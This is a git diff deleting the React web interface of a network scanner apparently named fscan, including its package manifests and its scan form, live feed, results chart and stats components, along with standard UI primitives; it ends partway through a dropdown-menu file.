"https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true, - "license": "ISC" - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.2.1.tgz", - "integrity": "sha512-0wZ1IRqGGhMP76gLqz8EyfBXKk0J2qo2+H3fi4mcUP/KtTocoX08nmIAHl1Z2kJIZbZee8KOpBCSNPRgauucjw==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-validation-error": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", - "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - } - } - } -} diff --git a/web-ui/package.json b/web-ui/package.json deleted file mode 100644 index 5f2b96fe..00000000 --- a/web-ui/package.json +++ /dev/null @@ -1,56 +0,0 @@ -{ - "name": "web-ui", - "private": true, - "version": "0.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc -b && vite build", - "lint": "eslint .", - "preview": "vite preview" - }, - "dependencies": { - "@radix-ui/react-alert-dialog": "^1.1.15", - "@radix-ui/react-collapsible": "^1.1.12", - "@radix-ui/react-dialog": "^1.1.15", - "@radix-ui/react-dropdown-menu": "^2.1.16", - "@radix-ui/react-label": "^2.1.8", - "@radix-ui/react-progress": "^1.1.8", - "@radix-ui/react-scroll-area": "^1.2.10", - "@radix-ui/react-select": "^2.2.6", - "@radix-ui/react-separator": "^1.1.8", - "@radix-ui/react-slot": "^1.2.4", - "@radix-ui/react-switch": "^1.2.6", - "@radix-ui/react-tabs": "^1.1.13", - "@radix-ui/react-tooltip": "^1.2.8", - "@rollup/rollup-linux-x64-gnu": "^4.61.1", - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "i18next": "^25.7.3", - "lucide-react": "^0.562.0", - "react": "^19.2.0", - "react-dom": "^19.2.0", - "react-i18next": "^16.5.0", - "react-router-dom": "^7.11.0", - "recharts": "^3.6.0", - "tailwind-merge": "^3.4.0", - "tailwindcss-animate": "^1.0.7" - }, - "devDependencies": { - "@eslint/js": "^9.39.1", - "@types/node": "^24.10.4", - "@types/react": "^19.2.5", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^5.1.1", - "autoprefixer": "^10.4.23", - "eslint": "^9.39.1", - "eslint-plugin-react-hooks": "^7.0.1", - "eslint-plugin-react-refresh": "^0.4.24", - "globals": "^16.5.0", - "postcss": "^8.5.6", - "tailwindcss": "^3.4.19", - "typescript": "~5.9.3", - "typescript-eslint": "^8.46.4", - "vite": "^7.2.4" - } -} diff --git a/web-ui/postcss.config.js b/web-ui/postcss.config.js deleted file mode 100644 index 2e7af2b7..00000000 --- a/web-ui/postcss.config.js +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - tailwindcss: {}, - autoprefixer: {}, - }, -} diff --git a/web-ui/public/vite.svg b/web-ui/public/vite.svg deleted file mode 100644 index e7b8dfb1..00000000 --- a/web-ui/public/vite.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/web-ui/src/App.tsx b/web-ui/src/App.tsx deleted file mode 100644 index 18cb39cf..00000000 --- a/web-ui/src/App.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { useState, useEffect } from 'react'; -import { useTranslation } from 'react-i18next'; -import { Terminal, Languages, Moon, Sun, Radar, BarChart3, Github, ExternalLink } from 'lucide-react'; -import { ScanPage } from '@/pages/ScanPage'; -import { ResultsPage } from '@/pages/ResultsPage'; -import { LiveFeedProvider } from '@/contexts/LiveFeedContext'; -import { Button } from '@/components/ui/button'; -import './i18n'; - -type Page = 'scan' | 'results'; - -function App() { - const { t, i18n } = useTranslation(); - const [currentPage, setCurrentPage] = useState('scan'); - const [isDark, setIsDark] = useState(() => { - if (typeof window !== 'undefined') { - const stored = localStorage.getItem('theme'); - if (stored) return stored === 'dark'; - return window.matchMedia('(prefers-color-scheme: dark)').matches; - } - return false; - }); - - useEffect(() => { - document.documentElement.classList.toggle('dark', isDark); - localStorage.setItem('theme', isDark ? 'dark' : 'light'); - }, [isDark]); - - return ( - -
- {/* Header */} -
-
- {/* Left: Logo + Nav */} -
- {/* Brand */} - -
- -
- fscan - v2.1 -
- -
- - {/* Navigation */} - -
- - {/* Right: Actions */} -
- -
- - -
-
-
- - {/* Main */} -
- {currentPage === 'scan' ? : } -
- - {/* Footer */} - -
-
- ); -} - -export default App; diff --git a/web-ui/src/components/LiveFeed.tsx b/web-ui/src/components/LiveFeed.tsx deleted file mode 100644 index b826b343..00000000 --- a/web-ui/src/components/LiveFeed.tsx +++ /dev/null @@ -1,100 +0,0 @@ -import { useTranslation } from 'react-i18next'; -import { - Wifi, WifiOff, Server, Network, Shield, AlertTriangle, CircleDot, Inbox, Activity -} from 'lucide-react'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { ScrollArea } from '@/components/ui/scroll-area'; -import { EmptyState } from '@/components/ui/empty-state'; -import { useLiveFeed } from '@/contexts/LiveFeedContext'; - -interface LiveFeedProps { - compact?: boolean; - showTypeLabel?: boolean; -} - -const TYPE_ICONS = { - host: Server, - port: Network, - service: Shield, - vuln: AlertTriangle, -} as const; - -export function LiveFeed({ compact = false, showTypeLabel = false }: LiveFeedProps) { - const { t } = useTranslation(); - const { isConnected, logs } = useLiveFeed(); - - const getTypeIcon = (type: string) => { - const key = type?.toLowerCase() as keyof typeof TYPE_ICONS; - return TYPE_ICONS[key] || CircleDot; - }; - - const getTypeLabel = (type: string) => { - switch (type?.toLowerCase()) { - case 'host': return t('typeHost'); - case 'port': return t('typePort'); - case 'service': return t('typeService'); - case 'vuln': return t('typeVuln'); - default: return type; - } - }; - - return ( - - - - - {t('liveFeed')} - -
- {isConnected ? ( - - - {t('liveFeedConnected')} - - ) : ( - - - {t('liveFeedDisconnected')} - - )} - {logs.length}/100 -
-
- - - {logs.length === 0 ? ( - - ) : ( -
- {logs.map((log) => { - const TypeIcon = getTypeIcon(log.type); - return ( -
- {log.time} - - - {showTypeLabel && getTypeLabel(log.type)} - - {log.target} - - {log.status} - -
- ); - })} -
- )} -
-
-
- ); -} diff --git a/web-ui/src/components/ResultsChart.tsx b/web-ui/src/components/ResultsChart.tsx deleted file mode 100644 index d5824bd8..00000000 --- a/web-ui/src/components/ResultsChart.tsx +++ /dev/null @@ -1,130 +0,0 @@ -import { useMemo } from 'react'; -import { useTranslation } from 'react-i18next'; -import { BarChart, Bar, XAxis, YAxis, PieChart, Pie, Cell } from 'recharts'; -import { BarChart3 } from 'lucide-react'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { ChartContainer, ChartTooltip, ChartTooltipContent, type ChartConfig } from '@/components/ui/chart'; -import { EmptyState } from '@/components/ui/empty-state'; -import type { ResultItem } from '@/lib/api'; - -interface ResultsChartProps { - results: ResultItem[]; -} - -const CHART_COLORS = { - host: 'hsl(var(--chart-1))', - port: 'hsl(var(--chart-2))', - service: 'hsl(var(--chart-3))', - vuln: 'hsl(var(--chart-4))', -} as const; - -export function ResultsChart({ results }: ResultsChartProps) { - const { t } = useTranslation(); - - const chartData = useMemo(() => { - const counts = { host: 0, port: 0, service: 0, vuln: 0 }; - results.forEach(r => { - const type = r.type?.toLowerCase() as keyof typeof counts; - if (type in counts) counts[type]++; - }); - return [ - { name: t('typeHost'), value: counts.host, fill: CHART_COLORS.host }, - { name: t('typePort'), value: counts.port, fill: CHART_COLORS.port }, - { name: t('typeService'), value: counts.service, fill: CHART_COLORS.service }, - { name: t('typeVuln'), value: counts.vuln, fill: CHART_COLORS.vuln }, - ]; - }, [results, t]); - - const chartConfig: ChartConfig = { - host: { label: t('typeHost'), color: CHART_COLORS.host }, - port: { label: t('typePort'), color: CHART_COLORS.port }, - service: { label: t('typeService'), color: CHART_COLORS.service }, - vuln: { label: t('typeVuln'), color: CHART_COLORS.vuln }, - }; - - const hasResults = results.length > 0; - - return ( - - - - - {t('resultsDistribution')} - - {results.length} - - - {hasResults ? ( -
- {/* Pie Chart */} -
- - - d.value > 0)} - dataKey="value" - nameKey="name" - innerRadius={35} - outerRadius={60} - strokeWidth={2} - stroke="hsl(var(--background))" - > - {chartData.map((entry, index) => ( - - ))} - - } /> - - -
- - {/* Legend */} -
- {chartData.map((item, index) => ( -
-
-
- {item.name} -
- {item.value} -
- ))} -
- - {/* Bar Chart */} - - - - - } /> - - {chartData.map((entry, index) => ( - - ))} - - - -
- ) : ( - - )} - - - ); -} diff --git a/web-ui/src/components/ScanForm.tsx b/web-ui/src/components/ScanForm.tsx deleted file mode 100644 index 32c32c18..00000000 --- a/web-ui/src/components/ScanForm.tsx +++ /dev/null @@ -1,305 +0,0 @@ -import { useState } from 'react'; -import { useTranslation } from 'react-i18next'; -import { - Play, Square, ChevronDown, Loader2, Target, Hash, Clock, Zap, Settings2, - User, Lock, Globe2, Ban, Activity, Wifi, CheckCircle2, XCircle -} from 'lucide-react'; -import { Button } from '@/components/ui/button'; -import { Input } from '@/components/ui/input'; -import { Switch } from '@/components/ui/switch'; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'; -import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '@/components/ui/collapsible'; -import { Label } from '@/components/ui/label'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Alert, AlertDescription } from '@/components/ui/alert'; -import type { ScanRequest, ScanPreset } from '@/lib/api'; - -interface ScanFormProps { - formData: ScanRequest; - onFormChange: (data: ScanRequest) => void; - presets: ScanPreset[]; - isRunning: boolean; - isStopping: boolean; - loading: boolean; - error: string | null; - onStart: () => void; - onStop: () => void; -} - -export function ScanForm({ - formData, - onFormChange, - presets, - isRunning, - isStopping, - loading, - error, - onStart, - onStop, -}: ScanFormProps) { - const { t, i18n } = useTranslation(); - const [showAdvanced, setShowAdvanced] = useState(false); - - const updateField = (key: K, value: ScanRequest[K]) => { - onFormChange({ ...formData, [key]: value }); - }; - - const applyPreset = (presetId: string) => { - const preset = presets.find(p => p.id === presetId); - if (preset) { - onFormChange({ - ...formData, - ports: preset.ports, - scan_mode: preset.scan_mode, - thread_num: preset.thread_num, - timeout: preset.timeout, - }); - } - }; - - const disabled = isRunning; - - return ( - - - - - {t('scanTitle')} - - {isRunning ? ( - - ) : ( - - )} - - - - {error && ( - - - {error} - - )} - - {/* Row 1: Target */} -
- - updateField('host', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
- - {/* Row 2: Ports + Preset + Threads + Timeout */} -
-
- - updateField('ports', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - -
-
- - updateField('thread_num', parseInt(e.target.value) || 600)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - updateField('timeout', parseInt(e.target.value) || 3)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - {/* Advanced Options */} - - - - - - -
- {/* Switches */} -
-
- - updateField('disable_ping', checked)} - disabled={disabled} - /> -
-
- - updateField('disable_brute', checked)} - disabled={disabled} - /> -
-
- - updateField('alive_only', checked)} - disabled={disabled} - /> -
-
- - {/* Credentials */} -
-
- - updateField('username', e.target.value)} - disabled={disabled} - className="field-input" - /> -
-
- - updateField('password', e.target.value)} - disabled={disabled} - className="field-input" - /> -
-
- - updateField('domain', e.target.value)} - disabled={disabled} - className="field-input" - /> -
-
- - {/* Exclusions */} -
-
- - updateField('exclude_hosts', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - updateField('exclude_ports', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
-
-
-
-
-
-
- ); -} diff --git a/web-ui/src/components/StatsPanel.tsx b/web-ui/src/components/StatsPanel.tsx deleted file mode 100644 index 35223e05..00000000 --- a/web-ui/src/components/StatsPanel.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { useMemo } from 'react'; -import { useTranslation } from 'react-i18next'; -import { PieChart, Pie, Cell } from 'recharts'; -import { Activity, CheckCircle2, XCircle, Loader2 } from 'lucide-react'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { Progress } from '@/components/ui/progress'; -import { ChartContainer, ChartTooltip, ChartTooltipContent, type ChartConfig } from '@/components/ui/chart'; -import { EmptyState } from '@/components/ui/empty-state'; -import type { ScanStatus } from '@/lib/api'; - -interface StatsPanelProps { - status: ScanStatus | null; -} - -const CHART_COLORS = { - hosts: 'hsl(var(--chart-1))', - ports: 'hsl(var(--chart-2))', - services: 'hsl(var(--chart-3))', - vulns: 'hsl(var(--chart-4))', -} as const; - -export function StatsPanel({ status }: StatsPanelProps) { - const { t } = useTranslation(); - - const isRunning = status?.state === 'running'; - const isStopping = status?.state === 'stopping'; - - const statsChartData = useMemo(() => { - if (!status?.stats) return []; - return [ - { name: t('statsHosts'), value: status.stats.hosts_scanned || 0, fill: CHART_COLORS.hosts }, - { name: t('statsPorts'), value: status.stats.ports_scanned || 0, fill: CHART_COLORS.ports }, - { name: t('statsServices'), value: status.stats.services_found || 0, fill: CHART_COLORS.services }, - { name: t('statsVulns'), value: status.stats.vulns_found || 0, fill: CHART_COLORS.vulns }, - ].filter(d => d.value > 0); - }, [status?.stats, t]); - - const chartConfig: ChartConfig = { - hosts: { label: t('statsHosts'), color: CHART_COLORS.hosts }, - ports: { label: t('statsPorts'), color: CHART_COLORS.ports }, - services: { label: t('statsServices'), color: CHART_COLORS.services }, - vulns: { label: t('statsVulns'), color: CHART_COLORS.vulns }, - }; - - const totalStats = useMemo(() => { - if (!status?.stats) return 0; - return (status.stats.hosts_scanned || 0) + - (status.stats.ports_scanned || 0) + - (status.stats.services_found || 0) + - (status.stats.vulns_found || 0); - }, [status?.stats]); - - const statsItems = [ - { key: 'hosts', label: t('statsHosts'), value: status?.stats.hosts_scanned || 0, color: CHART_COLORS.hosts }, - { key: 'ports', label: t('statsPorts'), value: status?.stats.ports_scanned || 0, color: CHART_COLORS.ports }, - { key: 'services', label: t('statsServices'), value: status?.stats.services_found || 0, color: CHART_COLORS.services }, - { key: 'vulns', label: t('statsVulns'), value: status?.stats.vulns_found || 0, color: CHART_COLORS.vulns }, - ]; - - return ( - - - - - {t('resultsDistribution')} - - - {isRunning ? : - isStopping ? : - } - {isRunning ? t('scanRunning') : isStopping ? t('statusStopping') : t('statusIdle')} - - - - {/* Progress */} - {isRunning && ( -
-
- {t('loading')} - {status?.progress || 0}% -
- -
- )} - - {/* Pie Chart */} - {totalStats > 0 ? ( -
- - - - {statsChartData.map((entry, index) => ( - - ))} - - } /> - - -
- ) : ( - - )} - - {/* Stats List */} -
- {statsItems.map((item) => ( -
-
-
- {item.label} -
- {item.value} -
- ))} -
- - {/* Total */} -
-
- {t('items')} - {totalStats} -
-
- - - ); -} diff --git a/web-ui/src/components/ui/alert-dialog.tsx b/web-ui/src/components/ui/alert-dialog.tsx deleted file mode 100644 index 890a5a39..00000000 --- a/web-ui/src/components/ui/alert-dialog.tsx +++ /dev/null @@ -1,138 +0,0 @@ -import * as React from "react" -import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog" -import { cn } from "@/lib/utils" -import { buttonVariants } from "@/components/ui/button" - -const AlertDialog = AlertDialogPrimitive.Root - -const AlertDialogTrigger = AlertDialogPrimitive.Trigger - -const AlertDialogPortal = AlertDialogPrimitive.Portal - -const AlertDialogOverlay = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName - -const AlertDialogContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - - -)) -AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName - -const AlertDialogHeader = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
-) -AlertDialogHeader.displayName = "AlertDialogHeader" - -const AlertDialogFooter = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
-) -AlertDialogFooter.displayName = "AlertDialogFooter" - -const AlertDialogTitle = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName - -const AlertDialogDescription = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogDescription.displayName = - AlertDialogPrimitive.Description.displayName - -const AlertDialogAction = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName - -const AlertDialogCancel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName - -export { - AlertDialog, - AlertDialogPortal, - AlertDialogOverlay, - AlertDialogTrigger, - AlertDialogContent, - AlertDialogHeader, - AlertDialogFooter, - AlertDialogTitle, - AlertDialogDescription, - AlertDialogAction, - AlertDialogCancel, -} diff --git a/web-ui/src/components/ui/alert.tsx b/web-ui/src/components/ui/alert.tsx deleted file mode 100644 index 4618d71f..00000000 --- a/web-ui/src/components/ui/alert.tsx +++ /dev/null @@ -1,62 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const alertVariants = cva( - "relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground", - { - variants: { - variant: { - default: "bg-background text-foreground", - destructive: - "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", - success: - "border-success/50 text-success dark:border-success [&>svg]:text-success", - warning: - "border-warning/50 text-warning dark:border-warning [&>svg]:text-warning", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -const Alert = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes & VariantProps ->(({ className, variant, ...props }, ref) => ( -
-)) -Alert.displayName = "Alert" - -const AlertTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -AlertTitle.displayName = "AlertTitle" - -const AlertDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -AlertDescription.displayName = "AlertDescription" - -export { Alert, AlertTitle, AlertDescription } diff --git a/web-ui/src/components/ui/badge.tsx b/web-ui/src/components/ui/badge.tsx deleted file mode 100644 index 57b6df3c..00000000 --- a/web-ui/src/components/ui/badge.tsx +++ /dev/null @@ -1,39 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const badgeVariants = cva( - "inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2", - { - variants: { - variant: { - default: - "border-transparent bg-primary text-primary-foreground hover:bg-primary/80", - secondary: - "border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80", - destructive: - "border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80", - outline: "text-foreground", - host: "border-transparent bg-blue-500/10 text-blue-600 dark:text-blue-400", - port: "border-transparent bg-emerald-500/10 text-emerald-600 dark:text-emerald-400", - service: "border-transparent bg-amber-500/10 text-amber-600 dark:text-amber-400", - vuln: "border-transparent bg-destructive/10 text-destructive", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -export interface BadgeProps - extends React.HTMLAttributes, - VariantProps {} - -function Badge({ className, variant, ...props }: BadgeProps) { - return ( -
- ) -} - -export { Badge, badgeVariants } diff --git a/web-ui/src/components/ui/button.tsx b/web-ui/src/components/ui/button.tsx deleted file mode 100644 index 6042281e..00000000 --- a/web-ui/src/components/ui/button.tsx +++ /dev/null @@ -1,55 +0,0 @@ -import * as React from "react" -import { Slot } from "@radix-ui/react-slot" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const buttonVariants = cva( - "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50", - { - variants: { - variant: { - default: "bg-primary text-primary-foreground hover:bg-primary/90", - destructive: - "bg-destructive text-destructive-foreground hover:bg-destructive/90", - outline: - "border border-input bg-background hover:bg-accent hover:text-accent-foreground", - secondary: - "bg-secondary text-secondary-foreground hover:bg-secondary/80", - ghost: "hover:bg-accent hover:text-accent-foreground", - link: "text-primary underline-offset-4 hover:underline", - }, - size: { - default: "h-10 px-4 py-2", - sm: "h-9 rounded-md px-3", - lg: "h-11 rounded-md px-8", - icon: "h-10 w-10", - }, - }, - defaultVariants: { - variant: "default", - size: "default", - }, - } -) - -export interface ButtonProps - extends React.ButtonHTMLAttributes, - VariantProps { - asChild?: boolean -} - -const Button = React.forwardRef( - ({ className, variant, size, asChild = false, ...props }, ref) => { - const Comp = asChild ? Slot : "button" - return ( - - ) - } -) -Button.displayName = "Button" - -export { Button, buttonVariants } diff --git a/web-ui/src/components/ui/card.tsx b/web-ui/src/components/ui/card.tsx deleted file mode 100644 index c1da9bee..00000000 --- a/web-ui/src/components/ui/card.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import * as React from "react" -import { cn } from "@/lib/utils" - -const Card = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -Card.displayName = "Card" - -const CardHeader = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardHeader.displayName = "CardHeader" - -const CardTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardTitle.displayName = "CardTitle" - -const CardDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardDescription.displayName = "CardDescription" - -const CardContent = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardContent.displayName = "CardContent" - -const CardFooter = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardFooter.displayName = "CardFooter" - -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent } diff --git a/web-ui/src/components/ui/chart.tsx b/web-ui/src/components/ui/chart.tsx deleted file mode 100644 index 9a5a98e6..00000000 --- a/web-ui/src/components/ui/chart.tsx +++ /dev/null @@ -1,222 +0,0 @@ -import * as React from "react" -import * as RechartsPrimitive from "recharts" -import { cn } from "@/lib/utils" - -export type ChartConfig = { - [k in string]: { - label?: React.ReactNode - icon?: React.ComponentType - color?: string - } -} - -type ChartContextProps = { - config: ChartConfig -} - -const ChartContext = React.createContext(null) - -function useChart() { - const context = React.useContext(ChartContext) - if (!context) { - throw new Error("useChart must be used within a ") - } - return context -} - -interface ChartContainerProps extends React.ComponentProps<"div"> { - config: ChartConfig - children: React.ComponentProps["children"] -} - -const ChartContainer = React.forwardRef( - ({ id, className, children, config, ...props }, ref) => { - const uniqueId = React.useId() - const chartId = `chart-${id || uniqueId.replace(/:/g, "")}` - - return ( - -
- - {children} - -
-
- ) - } -) -ChartContainer.displayName = "Chart" - -const ChartTooltip = RechartsPrimitive.Tooltip - -interface ChartTooltipContentProps extends React.ComponentProps<"div"> { - active?: boolean - payload?: Array<{ - name?: string - value?: number - dataKey?: string - color?: string - fill?: string - payload?: Record - }> - label?: string - hideLabel?: boolean - hideIndicator?: boolean - indicator?: "line" | "dot" | "dashed" - nameKey?: string - labelKey?: string - labelFormatter?: (value: unknown, payload: unknown[]) => React.ReactNode - formatter?: ( - value: unknown, - name: unknown, - item: unknown, - index: number, - payload: unknown - ) => React.ReactNode -} - -const ChartTooltipContent = React.forwardRef( - ( - { - active, - payload, - className, - indicator = "dot", - hideLabel = false, - hideIndicator = false, - label, - labelFormatter, - formatter, - nameKey, - labelKey, - }, - ref - ) => { - const { config } = useChart() - - const tooltipLabel = React.useMemo(() => { - if (hideLabel || !payload?.length) { - return null - } - - const [item] = payload - const key = `${labelKey || item?.dataKey || item?.name || "value"}` - const itemConfig = config[key] - const value = itemConfig?.label || label - - if (labelFormatter && payload) { - return ( -
- {labelFormatter(value, payload)} -
- ) - } - - if (!value) { - return null - } - - return
{value}
- }, [label, labelFormatter, payload, hideLabel, config, labelKey]) - - if (!active || !payload?.length) { - return null - } - - const nestLabel = payload.length === 1 && indicator !== "dot" - - return ( -
- {!nestLabel ? tooltipLabel : null} -
- {payload.map((item, index) => { - const key = `${nameKey || item.name || item.dataKey || "value"}` - const itemConfig = config[key] - const indicatorColor = item.payload?.fill || item.fill || item.color - - return ( -
svg]:h-2.5 [&>svg]:w-2.5 [&>svg]:text-muted-foreground", - indicator === "dot" && "items-center" - )} - > - {formatter && item?.value !== undefined && item.name ? ( - formatter(item.value, item.name, item, index, item.payload) - ) : ( - <> - {itemConfig?.icon ? ( - - ) : ( - !hideIndicator && ( -
- ) - )} -
-
- {nestLabel ? tooltipLabel : null} - - {itemConfig?.label || item.name} - -
- {item.value !== undefined && ( - - {item.value.toLocaleString()} - - )} -
- - )} -
- ) - })} -
-
- ) - } -) -ChartTooltipContent.displayName = "ChartTooltip" - -const ChartLegend = RechartsPrimitive.Legend - -export { - ChartContainer, - ChartTooltip, - ChartTooltipContent, - ChartLegend, -} diff --git a/web-ui/src/components/ui/collapsible.tsx b/web-ui/src/components/ui/collapsible.tsx deleted file mode 100644 index a23e7a28..00000000 --- a/web-ui/src/components/ui/collapsible.tsx +++ /dev/null @@ -1,9 +0,0 @@ -import * as CollapsiblePrimitive from "@radix-ui/react-collapsible" - -const Collapsible = CollapsiblePrimitive.Root - -const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger - -const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent - -export { Collapsible, CollapsibleTrigger, CollapsibleContent } diff --git a/web-ui/src/components/ui/dropdown-menu.tsx b/web-ui/src/components/ui/dropdown-menu.tsx deleted file mode 100644 index 2394999c..00000000 --- a/web-ui/src/components/ui/dropdown-menu.tsx +++ /dev/null @@ -1,197 +0,0 @@ -import * as React from "react" -import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu" -import { Check, ChevronRight, Circle } from "lucide-react" -import { cn } from "@/lib/utils" - -const DropdownMenu = DropdownMenuPrimitive.Root - -const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger - -const DropdownMenuGroup = DropdownMenuPrimitive.Group - -const DropdownMenuPortal = DropdownMenuPrimitive.Portal - -const DropdownMenuSub = DropdownMenuPrimitive.Sub - -const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup - -const DropdownMenuSubTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, children, ...props }, ref) => ( - - {children} - - -)) -DropdownMenuSubTrigger.displayName = - DropdownMenuPrimitive.SubTrigger.displayName - -const DropdownMenuSubContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DropdownMenuSubContent.displayName = - DropdownMenuPrimitive.SubContent.displayName - -const DropdownMenuContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - - -)) -DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName - -const DropdownMenuItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -DropdownMenuItem.displayName = 